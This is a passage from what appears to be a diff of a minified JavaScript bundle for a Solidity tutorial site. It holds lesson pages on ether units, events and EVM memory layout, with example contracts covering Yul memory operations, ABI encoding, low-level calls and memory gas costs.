YmFsLAogICAgICAgICAgICAgICAgd2l0aGRyYXdBbW91bnQ6IF93aXRoZHJhd0Ftb3VudAogICAgICAgICAgICB9KTsKICAgICAgICB9CiAgICB9Cn0K"}],_b=`

                    An error will undo all changes made to the state during a transaction.

                    You can throw an error by calling require, revert or assert.

                    • require is used to validate inputs and conditions before execution.
                      • @@ -7222,7 +7222,7 @@ assertion probably means that there is a bug. assert(balance <= oldBalance); } } -`,Lb=({prev:s,next:a})=>r.jsx(u,{version:Eb,title:Qb,description:Tb,html:_b,prev:s,next:a,codes:Ub}),Ob="0.8.24",Pb="Ether and Wei",$b="An example of Ether and Wei in Solidity",qb=[{fileName:"EtherUnits.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEV0aGVyVW5pdHMgewogICAgdWludDI1NiBwdWJsaWMgb25lV2VpID0gMSB3ZWk7CiAgICAvLyAxIHdlaSBpcyBlcXVhbCB0byAxCiAgICBib29sIHB1YmxpYyBpc09uZVdlaSA9IDEgd2VpID09IDE7CgogICAgdWludDI1NiBwdWJsaWMgb25lRXRoZXIgPSAxIGV0aGVyOwogICAgLy8gMSBldGhlciBpcyBlcXVhbCB0byAxMF4xOCB3ZWkKICAgIGJvb2wgcHVibGljIGlzT25lRXRoZXIgPSAxIGV0aGVyID09IDFlMTg7Cn0K"}],sw=`

                      Transactions are paid with ether.

                      +`,Lb=({prev:s,next:a})=>r.jsx(A,{version:Eb,title:Qb,description:Tb,html:_b,prev:s,next:a,codes:Ub}),Ob="0.8.24",Pb="Ether and Wei",$b="An example of Ether and Wei in Solidity",qb=[{fileName:"EtherUnits.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEV0aGVyVW5pdHMgewogICAgdWludDI1NiBwdWJsaWMgb25lV2VpID0gMSB3ZWk7CiAgICAvLyAxIHdlaSBpcyBlcXVhbCB0byAxCiAgICBib29sIHB1YmxpYyBpc09uZVdlaSA9IDEgd2VpID09IDE7CgogICAgdWludDI1NiBwdWJsaWMgb25lRXRoZXIgPSAxIGV0aGVyOwogICAgLy8gMSBldGhlciBpcyBlcXVhbCB0byAxMF4xOCB3ZWkKICAgIGJvb2wgcHVibGljIGlzT25lRXRoZXIgPSAxIGV0aGVyID09IDFlMTg7Cn0K"}],sw=`

                      Transactions are paid with ether.

                      Similar to how one dollar is equal to 100 cent, one ether is equal to 1018 wei.

                      // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -7236,7 +7236,7 @@ assertion probably means that there is a bug.
     // 1 ether is equal to 10^18 wei
     bool public isOneEther = 1 ether == 1e18;
 }
-
                      `,aw=({prev:s,next:a})=>r.jsx(u,{version:Ob,title:Pb,description:$b,html:sw,prev:s,next:a,codes:qb}),nw="0.8.24",lw="Events",pw="Example of how to emit events in Solidity",ew=[{fileName:"Events.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEV2ZW50IHsKICAgIC8vIEV2ZW50IGRlY2xhcmF0aW9uCiAgICAvLyBVcCB0byAzIHBhcmFtZXRlcnMgY2FuIGJlIGluZGV4ZWQuCiAgICAvLyBJbmRleGVkIHBhcmFtZXRlcnMgaGVscHMgeW91IGZpbHRlciB0aGUgbG9ncyBieSB0aGUgaW5kZXhlZCBwYXJhbWV0ZXIKICAgIGV2ZW50IExvZyhhZGRyZXNzIGluZGV4ZWQgc2VuZGVyLCBzdHJpbmcgbWVzc2FnZSk7CiAgICBldmVudCBBbm90aGVyTG9nKCk7CgogICAgZnVuY3Rpb24gdGVzdCgpIHB1YmxpYyB7CiAgICAgICAgZW1pdCBMb2cobXNnLnNlbmRlciwgIkhlbGxvIFdvcmxkISIpOwogICAgICAgIGVtaXQgTG9nKG1zZy5zZW5kZXIsICJIZWxsbyBFVk0hIik7CiAgICAgICAgZW1pdCBBbm90aGVyTG9nKCk7CiAgICB9Cn0K"}],cw=`

                      Events allow logging to the Ethereum blockchain. Some use cases for events are:

                      +`,aw=({prev:s,next:a})=>r.jsx(A,{version:Ob,title:Pb,description:$b,html:sw,prev:s,next:a,codes:qb}),nw="0.8.24",lw="Events",pw="Example of how to emit events in Solidity",ew=[{fileName:"Events.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEV2ZW50IHsKICAgIC8vIEV2ZW50IGRlY2xhcmF0aW9uCiAgICAvLyBVcCB0byAzIHBhcmFtZXRlcnMgY2FuIGJlIGluZGV4ZWQuCiAgICAvLyBJbmRleGVkIHBhcmFtZXRlcnMgaGVscHMgeW91IGZpbHRlciB0aGUgbG9ncyBieSB0aGUgaW5kZXhlZCBwYXJhbWV0ZXIKICAgIGV2ZW50IExvZyhhZGRyZXNzIGluZGV4ZWQgc2VuZGVyLCBzdHJpbmcgbWVzc2FnZSk7CiAgICBldmVudCBBbm90aGVyTG9nKCk7CgogICAgZnVuY3Rpb24gdGVzdCgpIHB1YmxpYyB7CiAgICAgICAgZW1pdCBMb2cobXNnLnNlbmRlciwgIkhlbGxvIFdvcmxkISIpOwogICAgICAgIGVtaXQgTG9nKG1zZy5zZW5kZXIsICJIZWxsbyBFVk0hIik7CiAgICAgICAgZW1pdCBBbm90aGVyTG9nKCk7CiAgICB9Cn0K"}],cw=`

                      Events allow logging to the Ethereum blockchain. Some use cases for events are:

                      • Listening for events and updating user interface
                      • A cheap form of storage
                        • @@ -7257,7 +7257,7 @@ assertion probably means that there is a bug. emit AnotherLog(); } } -`,tw=({prev:s,next:a})=>r.jsx(u,{version:nw,title:lw,description:pw,html:cw,prev:s,next:a,codes:ew}),ow="0.8.24",rw="EVM Memory Layout in Solidity",iw="Example of EVM memory in Solidity",gw=[{fileName:"YulMem.sol",code:"// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;

// Memory layout
// array of length 2**256 (32 bytes), each element stores 1 byte (0x00 to 0xff)
// memory | 00 | 00 | 00 | ... | 00 |
// index    00   01   02   ...   0xfff...fff (32 bytes)

// Reserved slots
// 0x00 - 0x3f (64 bytes): scratch space for hashing methods
// 0x40 - 0x5f (32 bytes): pointer to next available location in memory to store data (free memory pointer)
// 0x60 - 0x7f (32 bytes): zero slot - used as initial value for dynamic memory arrays and should never be written to

// Free memory pointer (0x40)
// 0x80 = Free memory pointer initially points here
contract MemBasic {
    // mstore(p, v) = store 32 bytes to memory starting at memory location p
    // mload(p) = load 32 bytes from memory starting at memory location p
    function test() public pure returns (bytes32 b32) {
        assembly {
            // Free memory pointer
            // p = 0x80
            let p := mload(0x40)
            mstore(p, 0xababab)
            b32 := mload(p)
        }
    }
}

contract MemStruct {
    // Memory data is not packed - all data stored in chunks of 32 bytes
    struct Point {
        uint256 x;
        uint32 y;
        uint32 z;
    }

    function test_read()
        public
        pure
        returns (uint256 x, uint256 y, uint256 z)
    {
        // Point is loaded to memory starting at 0x80
        // 0x80 = initial free memory
        Point memory p = Point(1, 2, 3);

        assembly {
            // load 32 bytes starting from 0x80
            x := mload(0x80)
            // load 32 bytes starting from 0xa0 (0x80 + 32 = 0xa0)
            y := mload(0xa0)
            // load 32 bytes starting from 0xc0 (0xa0 + 32 = 0xc0)
            z := mload(0xc0)
        }
    }

    function test_write()
        public
        pure
        returns (bytes32 free_mem_ptr, uint256 x, uint256 y, uint256 z)
    {
        // Allocates memory 0x80 to 0xdf to Point
        // Free memory pointer = 0xdf + 1 = 0xe0
        Point memory p;

        // Write
        assembly {
            // store to 0x80
            mstore(p, 11)
            // store to 0xa0
            mstore(add(p, 0x20), 22)
            // store to 0xc0
            mstore(add(p, 0x40), 33)
            // 0xe0
            free_mem_ptr := mload(0x40)
        }

        x = p.x;
        y = p.y;
        z = p.z;
    }
}

contract MemFixedArray {
    function test_read()
        public
        pure
        returns (uint256 a0, uint256 a1, uint256 a2)
    {
        // arr is loaded to memory starting at 0x80
        // Each array element is stored as 32 bytes
        uint32[3] memory arr = [uint32(1), uint32(2), uint32(3)];

        assembly {
            a0 := mload(0x80)
            a1 := mload(0xa0)
            a2 := mload(0xc0)
        }
    }

    function test_write()
        public
        pure
        returns (uint256 a0, uint256 a1, uint256 a2)
    {
        uint32[3] memory arr;

        assembly {
            // 0x80
            mstore(arr, 11)
            // 0xa0
            mstore(add(arr, 0x20), 22)
            // 0xc0
            mstore(add(arr, 0x40), 33)
        }

        a0 = arr[0];
        a1 = arr[1];
        a2 = arr[2];
    }
}

contract MemDynamicArray {
    function test_read()
        public
        pure
        returns (uint256 len, uint256 a0, uint256 a1, uint256 a2)
    {
        uint256[] memory arr = new uint256[](5);
        arr[0] = uint256(11);
        arr[1] = uint256(22);
        arr[2] = uint256(33);
        arr[3] = uint256(44);
        arr[4] = uint256(55);

        assembly {
            // 0x80
            len := mload(arr)
            // 0xa0
            a0 := mload(add(arr, 0x20))
            // 0xc0
            a1 := mload(add(arr, 0x40))
            // 0xe0
            a2 := mload(add(arr, 0x60))
        }
    }

    function test_write() public pure returns (uint256[] memory) {
        uint256[] memory arr;

        assembly {
            // Store length of arr
            mstore(arr, 3)
            // Store 1, 2, 3
            mstore(add(arr, 0x20), 11)
            mstore(add(arr, 0x40), 22)
            mstore(add(arr, 0x60), 33)
            // Update free memory pointer
            mstore(0x40, add(arr, 0x80))
        }

        // Data will be ABI encoded when arr is returned to caller
        return arr;
    }
}

contract MemInternalFuncReturn {
    function internal_func_return_val() private pure returns (uint256) {
        return uint256(0xababab);
    }

    function test_val() public pure {
        // 0xababab will be stored in top of the stack
        internal_func_return_val();
    }

    function internal_func_return_mem()
        private
        pure
        returns (bytes32[] memory)
    {
        bytes32[] memory arr = new bytes32[](3);
        arr[0] = bytes32(uint256(0xaaa));
        arr[1] = bytes32(uint256(0xbbb));
        arr[2] = bytes32(uint256(0xccc));
        return arr;
    }

    function test_mem()
        public
        pure
        returns (uint256 len, bytes32 a0, bytes32 a1, bytes32 a2)
    {
        // Stores 0x80 to top of the stack
        // 0x80 = memory pointer to beginning of arr
        internal_func_return_mem();
        // Read data from arr, initialized in internal_func_return_mem, using assembly
        assembly {
            len := mload(0x80)
            a0 := mload(0xa0)
            a1 := mload(0xc0)
            a2 := mload(0xe0)
        }
    }
}

contract ABIEncode {
    // js code to split string into chunks of length 64
    // str.match(/.{1,64}/g)

    // Value types < 32 bytes -> zero padded on the left side
    // 0x000000000000000000000000abababababababababababababababababababab
    function encode_addr() public pure returns (bytes memory) {
        address addr = 0xABaBaBaBABabABabAbAbABAbABabababaBaBABaB;
        return abi.encode(addr);
    }

    // Fixed sized bytes -> zero padded on the righ side
    // 0xaabbccdd00000000000000000000000000000000000000000000000000000000
    function encode_bytes4() public pure returns (bytes memory) {
        bytes4 b4 = 0xaabbccdd;
        return abi.encode(b4);
    }

    // Dynamic size types
    // offset | length | data
    // offset = 32 bytes index where data starts
    // length = 32 bytes data length

    // 0x0000000000000000000000000000000000000000000000000000000000000020
    //   0000000000000000000000000000000000000000000000000000000000000003
    //   ababab0000000000000000000000000000000000000000000000000000000000
    function enode_bytes() public pure returns (bytes memory) {
        bytes memory b = new bytes(3);
        b[0] = 0xab;
        b[1] = 0xab;
        b[2] = 0xab;
        return abi.encode(b);
    }

    // 0x0000000000000000000000000000000000000000000000000000000000000020
    //   0000000000000000000000000000000000000000000000000000000000000003
    //   0000000000000000000000000000000000000000000000000000000000000001
    //   0000000000000000000000000000000000000000000000000000000000000002
    //   0000000000000000000000000000000000000000000000000000000000000003
    function enode_uint8_arr() public pure returns (bytes memory) {
        uint8[] memory a = new uint8[](3);
        a[0] = 1;
        a[1] = 2;
        a[2] = 3;
        return abi.encode(a);
    }

    // Fixed size arrays
    // 0x0000000000000000000000000000000000000000000000000000000000000001
    //   0000000000000000000000000000000000000000000000000000000000000002
    //   0000000000000000000000000000000000000000000000000000000000000003
    function enode_uint256_fixed_size_arr()
        public
        pure
        returns (bytes memory)
    {
        uint8[3] memory a;
        a[0] = 1;
        a[1] = 2;
        a[2] = 3;
        return abi.encode(a);
    }

    // Struct
    struct Point {
        uint256 x;
        uint128 y;
        uint128 z;
    }

    // 0x0000000000000000000000000000000000000000000000000000000000000001
    //   0000000000000000000000000000000000000000000000000000000000000002
    //   0000000000000000000000000000000000000000000000000000000000000003
    function encode_struct() public pure returns (bytes memory) {
        Point memory p = Point(1, 2, 3);
        return abi.encode(p);
    }

    // Dynamic sized array of structs
    // offset | length | struct data
    // 0x0000000000000000000000000000000000000000000000000000000000000020
    //   0000000000000000000000000000000000000000000000000000000000000003
    //   0000000000000000000000000000000000000000000000000000000000000001
    //   0000000000000000000000000000000000000000000000000000000000000002
    //   0000000000000000000000000000000000000000000000000000000000000003
    //   0000000000000000000000000000000000000000000000000000000000000004
    //   0000000000000000000000000000000000000000000000000000000000000005
    //   0000000000000000000000000000000000000000000000000000000000000006
    //   0000000000000000000000000000000000000000000000000000000000000007
    //   0000000000000000000000000000000000000000000000000000000000000008
    //   0000000000000000000000000000000000000000000000000000000000000009
    function encode_struct_array() public pure returns (bytes memory) {
        Point[] memory arr = new Point[](3);
        arr[0] = Point(1, 2, 3);
        arr[1] = Point(4, 5, 6);
        arr[2] = Point(7, 8, 9);
        return abi.encode(arr);
    }
}

contract MemReturn {
    function test_return_vals() public pure returns (uint256, uint256) {
        // return(start, len) - Halt execution and return data stored in memory from start to start + len
        assembly {
            mstore(0x80, 11)
            mstore(0xa0, 22)
            return(0x80, 0x40)
        }
    }

    function test_return_dyn_arr() public pure returns (uint256[] memory) {
        // ABI encode uint256[] array with 3 elements 11, 22 and 33
        assembly {
            // offset
            mstore(0x80, 0x20)
            // length
            mstore(add(0x80, 0x20), 3)
            // array elements
            mstore(add(0x80, 0x40), 11)
            mstore(add(0x80, 0x60), 22)
            mstore(add(0x80, 0x80), 33)
            // No need to update free memory pointer - function execution ends here
            return(0x80, mul(5, 0x20))
        }
    }

    function test_return() public pure returns (uint256, uint256) {
        // Returns (11, 22)
        test_return_vals();
        // This code will never execute
        return (333, 444);
    }
}

contract MemRevert {
    function test_revert() public pure {
        // revert(start, len) - Revert executin and return data store in memory from start to start + len
        assembly {
            mstore(0x80, "ERROR HERE")
            revert(0x80, 0x20)
        }
    }
}

contract MemKeccak {
    function test_keccak() public pure returns (bytes32) {
        // keccak256(start, len) - Keccak256 from data in memory from start to start + len
        assembly {
            mstore(0x80, 1)
            mstore(0xa0, 2)

            let h := keccak256(0x80, 0x40)
            mstore(0xc0, h)

            return(0xc0, 0x20)
        }
    }

    function keccak() public pure returns (bytes32) {
        return keccak256(abi.encodePacked(uint256(1), uint256(2)));
    }
}

contract Target {
    function return_uint256(uint256 x) public pure returns (uint256) {
        return x;
    }

    function return_bytes(uint256 n) public pure returns (bytes memory) {
        bytes memory out = new bytes(n);
        for (uint256 i; i < n; i++) {
            out[i] = 0xab;
        }
        return out;
    }

    function return_uint256_arr(uint256 n)
        public
        pure
        returns (uint256[] memory)
    {
        uint256[] memory out = new uint256[](n);
        for (uint256 i = 0; i < n; i++) {
            out[i] = i + 1;
        }
        return out;
    }
}

// calldatacopy(p, start, size) - Copy start to start + size calldata to memory starting at pointer p
// returndatasize - Get size of returned data from call, staticcall or delegatecall
// returndatacopy(p, start, size) - Copy start to start + size return data to memory starting at pointer p
// call(g, a, v, in, in_size, out, out_size)
// - call contract at a, use max g gas, send v wei
// - with input from memory in to in + in_size
// - use memory out to out + out_size for output
// staticcall(g, a, in, in_size, out, out_size) - read only version of call
contract YulStaticCall {
    function test_staticcall(address a, bytes calldata data) public view {
        assembly {
            let p := mload(0x40)
            // Copy calldata to memory
            calldatacopy(p, data.offset, data.length)
            // No need to update free memory pointer?
            // mstore(0x40, add(p, data.length))

            let ok := staticcall(gas(), a, p, data.length, 0, 0)

            if iszero(ok) { revert(0, 0) }

            // p := mload(0x40)
            let return_data_size := returndatasize()
            // Copy returned data to memory
            // Is it safe to overwrite memory that was used for inputs?
            returndatacopy(p, 0, return_data_size)
            return(p, return_data_size)
        }
    }

    function test_abi_decode_uint256(address a, bytes calldata data)
        public
        view
        returns (uint256)
    {
        test_staticcall(a, data);
    }

    function test_abi_decode_bytes(address a, bytes calldata data)
        public
        view
        returns (bytes memory)
    {
        test_staticcall(a, data);
    }

    function test_abi_decode_uint256_arr(address a, bytes calldata data)
        public
        view
        returns (uint256[] memory)
    {
        test_staticcall(a, data);
    }

    function test_staticcall_return_abi_encoded_bytes(
        address addr,
        bytes calldata data
    ) public view returns (bytes memory out, uint256 return_data_size) {
        assembly {
            let p := mload(0x40)
            // Copy calldata to memory
            calldatacopy(p, data.offset, data.length)
            // Update free memory pointer
            mstore(0x40, add(p, data.length))

            let ok := staticcall(gas(), addr, p, data.length, 0, 0)

            if iszero(ok) { revert(0, 0) }

            // return_data_size = 32  for calling Target.f -> uint256
            //                  = 96  for calling Target.g -> bytes[] (32 offset, 32 length, 3 bytes padded to 32)
            //                  = 160 for calling Target.h -> uint256[] (32 offset, 32 length, 32 x 3 elements)
            return_data_size := returndatasize()
            // Store length of return data to out
            // pointer to out = 0x60 (zero slot)
            // TODO: safe to write to zero slot?
            mstore(out, return_data_size)
            // Copy return data to out
            returndatacopy(add(out, 0x20), 0, return_data_size)
            // Update free memory pointer
            mstore(0x40, add(out, add(0x20, return_data_size)))
        }
    }
}

contract Counter {
    uint256 public count;

    function inc() public returns (uint256) {
        count += 1;
        return count;
    }
}

contract YulCall {
    function test_call(address a, bytes memory data)
        public
        payable
        returns (bytes memory out)
    {
        bytes32 data_ptr;
        bytes32 out_ptr;
        assembly {
            // 0x80
            data_ptr := data
            // 0x60
            out_ptr := out

            let data_size := mload(data)
            let data_start := add(data, 0x20)
            let ok := call(gas(), a, callvalue(), data_start, data_size, 0, 0)

            if iszero(ok) { revert(0, 0) }

            let return_data_size := returndatasize()
            // Store length of return data to out
            mstore(out, return_data_size)
            // Copy return data to out
            returndatacopy(add(out, 0x20), 0, return_data_size)
            // Update free memory pointer
            mstore(0x40, add(out, add(0x20, return_data_size)))
        }
    }

    function test_inc(address counter) public returns (uint256 count) {
        bytes memory res = test_call(counter, abi.encodeCall(Counter.inc, ()));
        count = abi.decode(res, (uint256));
    }
}

// Memory expansion gas cost
// Gas cost is quadratic to memory allocation.
contract MemExp {
    function alloc_mem(uint256 n) external view returns (uint256) {
        uint256 gas_start = gasleft();
        uint256[] memory arr = new uint256[](n);
        uint256 gas_end = gasleft();
        return gas_start - gas_end;
    }
}

// arr size | gas
//        0 |    120
//        1 |    178
//       10 |    232
//       20 |    293
//       30 |    354
//       40 |    415
//       50 |    477
//       60 |    540
//       70 |    602
//       80 |    666
//       90 |    729
//      100 |    793
//      110 |    857
//      120 |    922
//      130 |    987
//      140 |   1053
//      150 |   1118
//      160 |   1185
//      170 |   1251
//      180 |   1318
//      190 |   1386
//      200 |   1454

//     1000 |   8144
//     2000 |  20023
//     3000 |  35808
//     4000 |  55500
//     5000 |  79097
//     6000 | 106601
//     7000 | 138011
//     8000 | 173328
//     9000 | 212550
//    10000 | 255679
//    11000 | 302715
//    12000 | 353656
//    13000 | 408504
//    14000 | 467257
//    15000 | 529918
//    16000 | 596484
//    17000 | 666957
//    18000 | 741336
//    19000 | 819621
//    20000 | 901812
"}],hw=`

                        Examples of

                        +`,tw=({prev:s,next:a})=>r.jsx(A,{version:nw,title:lw,description:pw,html:cw,prev:s,next:a,codes:ew}),ow="0.8.24",rw="EVM Memory Layout in Solidity",iw="Example of EVM memory in Solidity",gw=[{fileName:"YulMem.sol",code:"// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;

// Memory layout
// array of length 2**256 (32 bytes), each element stores 1 byte (0x00 to 0xff)
// memory | 00 | 00 | 00 | ... | 00 |
// index    00   01   02   ...   0xfff...fff (32 bytes)

// Reserved slots
// 0x00 - 0x3f (64 bytes): scratch space for hashing methods
// 0x40 - 0x5f (32 bytes): pointer to next available location in memory to store data (free memory pointer)
// 0x60 - 0x7f (32 bytes): zero slot - used as initial value for dynamic memory arrays and should never be written to

// Free memory pointer (0x40)
// 0x80 = Free memory pointer initially points here
contract MemBasic {
    // mstore(p, v) = store 32 bytes to memory starting at memory location p
    // mload(p) = load 32 bytes from memory starting at memory location p
    function test() public pure returns (bytes32 b32) {
        assembly {
            // Free memory pointer
            // p = 0x80
            let p := mload(0x40)
            mstore(p, 0xababab)
            b32 := mload(p)
        }
    }
}

contract MemStruct {
    // Memory data is not packed - all data stored in chunks of 32 bytes
    struct Point {
        uint256 x;
        uint32 y;
        uint32 z;
    }

    function test_read()
        public
        pure
        returns (uint256 x, uint256 y, uint256 z)
    {
        // Point is loaded to memory starting at 0x80
        // 0x80 = initial free memory
        Point memory p = Point(1, 2, 3);

        assembly {
            // load 32 bytes starting from 0x80
            x := mload(0x80)
            // load 32 bytes starting from 0xa0 (0x80 + 32 = 0xa0)
            y := mload(0xa0)
            // load 32 bytes starting from 0xc0 (0xa0 + 32 = 0xc0)
            z := mload(0xc0)
        }
    }

    function test_write()
        public
        pure
        returns (bytes32 free_mem_ptr, uint256 x, uint256 y, uint256 z)
    {
        // Allocates memory 0x80 to 0xdf to Point
        // Free memory pointer = 0xdf + 1 = 0xe0
        Point memory p;

        // Write
        assembly {
            // store to 0x80
            mstore(p, 11)
            // store to 0xa0
            mstore(add(p, 0x20), 22)
            // store to 0xc0
            mstore(add(p, 0x40), 33)
            // 0xe0
            free_mem_ptr := mload(0x40)
        }

        x = p.x;
        y = p.y;
        z = p.z;
    }
}

contract MemFixedArray {
    function test_read()
        public
        pure
        returns (uint256 a0, uint256 a1, uint256 a2)
    {
        // arr is loaded to memory starting at 0x80
        // Each array element is stored as 32 bytes
        uint32[3] memory arr = [uint32(1), uint32(2), uint32(3)];

        assembly {
            a0 := mload(0x80)
            a1 := mload(0xa0)
            a2 := mload(0xc0)
        }
    }

    function test_write()
        public
        pure
        returns (uint256 a0, uint256 a1, uint256 a2)
    {
        uint32[3] memory arr;

        assembly {
            // 0x80
            mstore(arr, 11)
            // 0xa0
            mstore(add(arr, 0x20), 22)
            // 0xc0
            mstore(add(arr, 0x40), 33)
        }

        a0 = arr[0];
        a1 = arr[1];
        a2 = arr[2];
    }
}

contract MemDynamicArray {
    function test_read()
        public
        pure
        returns (uint256 len, uint256 a0, uint256 a1, uint256 a2)
    {
        uint256[] memory arr = new uint256[](5);
        arr[0] = uint256(11);
        arr[1] = uint256(22);
        arr[2] = uint256(33);
        arr[3] = uint256(44);
        arr[4] = uint256(55);

        assembly {
            // 0x80
            len := mload(arr)
            // 0xa0
            a0 := mload(add(arr, 0x20))
            // 0xc0
            a1 := mload(add(arr, 0x40))
            // 0xe0
            a2 := mload(add(arr, 0x60))
        }
    }

    function test_write() public pure returns (uint256[] memory) {
        uint256[] memory arr;

        assembly {
            // Store length of arr
            mstore(arr, 3)
            // Store 1, 2, 3
            mstore(add(arr, 0x20), 11)
            mstore(add(arr, 0x40), 22)
            mstore(add(arr, 0x60), 33)
            // Update free memory pointer
            mstore(0x40, add(arr, 0x80))
        }

        // Data will be ABI encoded when arr is returned to caller
        return arr;
    }
}

contract MemInternalFuncReturn {
    function internal_func_return_val() private pure returns (uint256) {
        return uint256(0xababab);
    }

    function test_val() public pure {
        // 0xababab will be stored in top of the stack
        internal_func_return_val();
    }

    function internal_func_return_mem()
        private
        pure
        returns (bytes32[] memory)
    {
        bytes32[] memory arr = new bytes32[](3);
        arr[0] = bytes32(uint256(0xaaa));
        arr[1] = bytes32(uint256(0xbbb));
        arr[2] = bytes32(uint256(0xccc));
        return arr;
    }

    function test_mem()
        public
        pure
        returns (uint256 len, bytes32 a0, bytes32 a1, bytes32 a2)
    {
        // Stores 0x80 to top of the stack
        // 0x80 = memory pointer to beginning of arr
        internal_func_return_mem();
        // Read data from arr, initialized in internal_func_return_mem, using assembly
        assembly {
            len := mload(0x80)
            a0 := mload(0xa0)
            a1 := mload(0xc0)
            a2 := mload(0xe0)
        }
    }
}

contract ABIEncode {
    // js code to split string into chunks of length 64
    // str.match(/.{1,64}/g)

    // Value types < 32 bytes -> zero padded on the left side
    // 0x000000000000000000000000abababababababababababababababababababab
    function encode_addr() public pure returns (bytes memory) {
        address addr = 0xABaBaBaBABabABabAbAbABAbABabababaBaBABaB;
        return abi.encode(addr);
    }

    // Fixed sized bytes -> zero padded on the righ side
    // 0xaabbccdd00000000000000000000000000000000000000000000000000000000
    function encode_bytes4() public pure returns (bytes memory) {
        bytes4 b4 = 0xaabbccdd;
        return abi.encode(b4);
    }

    // Dynamic size types
    // offset | length | data
    // offset = 32 bytes index where data starts
    // length = 32 bytes data length

    // 0x0000000000000000000000000000000000000000000000000000000000000020
    //   0000000000000000000000000000000000000000000000000000000000000003
    //   ababab0000000000000000000000000000000000000000000000000000000000
    function enode_bytes() public pure returns (bytes memory) {
        bytes memory b = new bytes(3);
        b[0] = 0xab;
        b[1] = 0xab;
        b[2] = 0xab;
        return abi.encode(b);
    }

    // 0x0000000000000000000000000000000000000000000000000000000000000020
    //   0000000000000000000000000000000000000000000000000000000000000003
    //   0000000000000000000000000000000000000000000000000000000000000001
    //   0000000000000000000000000000000000000000000000000000000000000002
    //   0000000000000000000000000000000000000000000000000000000000000003
    function enode_uint8_arr() public pure returns (bytes memory) {
        uint8[] memory a = new uint8[](3);
        a[0] = 1;
        a[1] = 2;
        a[2] = 3;
        return abi.encode(a);
    }

    // Fixed size arrays
    // 0x0000000000000000000000000000000000000000000000000000000000000001
    //   0000000000000000000000000000000000000000000000000000000000000002
    //   0000000000000000000000000000000000000000000000000000000000000003
    function enode_uint256_fixed_size_arr()
        public
        pure
        returns (bytes memory)
    {
        uint8[3] memory a;
        a[0] = 1;
        a[1] = 2;
        a[2] = 3;
        return abi.encode(a);
    }

    // Struct
    struct Point {
        uint256 x;
        uint128 y;
        uint128 z;
    }

    // 0x0000000000000000000000000000000000000000000000000000000000000001
    //   0000000000000000000000000000000000000000000000000000000000000002
    //   0000000000000000000000000000000000000000000000000000000000000003
    function encode_struct() public pure returns (bytes memory) {
        Point memory p = Point(1, 2, 3);
        return abi.encode(p);
    }

    // Dynamic sized array of structs
    // offset | length | struct data
    // 0x0000000000000000000000000000000000000000000000000000000000000020
    //   0000000000000000000000000000000000000000000000000000000000000003
    //   0000000000000000000000000000000000000000000000000000000000000001
    //   0000000000000000000000000000000000000000000000000000000000000002
    //   0000000000000000000000000000000000000000000000000000000000000003
    //   0000000000000000000000000000000000000000000000000000000000000004
    //   0000000000000000000000000000000000000000000000000000000000000005
    //   0000000000000000000000000000000000000000000000000000000000000006
    //   0000000000000000000000000000000000000000000000000000000000000007
    //   0000000000000000000000000000000000000000000000000000000000000008
    //   0000000000000000000000000000000000000000000000000000000000000009
    function encode_struct_array() public pure returns (bytes memory) {
        Point[] memory arr = new Point[](3);
        arr[0] = Point(1, 2, 3);
        arr[1] = Point(4, 5, 6);
        arr[2] = Point(7, 8, 9);
        return abi.encode(arr);
    }
}

contract MemReturn {
    function test_return_vals() public pure returns (uint256, uint256) {
        // return(start, len) - Halt execution and return data stored in memory from start to start + len
        assembly {
            mstore(0x80, 11)
            mstore(0xa0, 22)
            return(0x80, 0x40)
        }
    }

    function test_return_dyn_arr() public pure returns (uint256[] memory) {
        // ABI encode uint256[] array with 3 elements 11, 22 and 33
        assembly {
            // offset
            mstore(0x80, 0x20)
            // length
            mstore(add(0x80, 0x20), 3)
            // array elements
            mstore(add(0x80, 0x40), 11)
            mstore(add(0x80, 0x60), 22)
            mstore(add(0x80, 0x80), 33)
            // No need to update free memory pointer - function execution ends here
            return(0x80, mul(5, 0x20))
        }
    }

    function test_return() public pure returns (uint256, uint256) {
        // Returns (11, 22)
        test_return_vals();
        // This code will never execute
        return (333, 444);
    }
}

contract MemRevert {
    function test_revert() public pure {
        // revert(start, len) - Revert executin and return data store in memory from start to start + len
        assembly {
            mstore(0x80, "ERROR HERE")
            revert(0x80, 0x20)
        }
    }
}

contract MemKeccak {
    function test_keccak() public pure returns (bytes32) {
        // keccak256(start, len) - Keccak256 from data in memory from start to start + len
        assembly {
            mstore(0x80, 1)
            mstore(0xa0, 2)

            let h := keccak256(0x80, 0x40)
            mstore(0xc0, h)

            return(0xc0, 0x20)
        }
    }

    function keccak() public pure returns (bytes32) {
        return keccak256(abi.encodePacked(uint256(1), uint256(2)));
    }
}

contract Target {
    function return_uint256(uint256 x) public pure returns (uint256) {
        return x;
    }

    function return_bytes(uint256 n) public pure returns (bytes memory) {
        bytes memory out = new bytes(n);
        for (uint256 i; i < n; i++) {
            out[i] = 0xab;
        }
        return out;
    }

    function return_uint256_arr(uint256 n)
        public
        pure
        returns (uint256[] memory)
    {
        uint256[] memory out = new uint256[](n);
        for (uint256 i = 0; i < n; i++) {
            out[i] = i + 1;
        }
        return out;
    }
}

// calldatacopy(p, start, size) - Copy start to start + size calldata to memory starting at pointer p
// returndatasize - Get size of returned data from call, staticcall or delegatecall
// returndatacopy(p, start, size) - Copy start to start + size return data to memory starting at pointer p
// call(g, a, v, in, in_size, out, out_size)
// - call contract at a, use max g gas, send v wei
// - with input from memory in to in + in_size
// - use memory out to out + out_size for output
// staticcall(g, a, in, in_size, out, out_size) - read only version of call
contract YulStaticCall {
    function test_staticcall(address a, bytes calldata data) public view {
        assembly {
            let p := mload(0x40)
            // Copy calldata to memory
            calldatacopy(p, data.offset, data.length)
            // No need to update free memory pointer?
            // mstore(0x40, add(p, data.length))

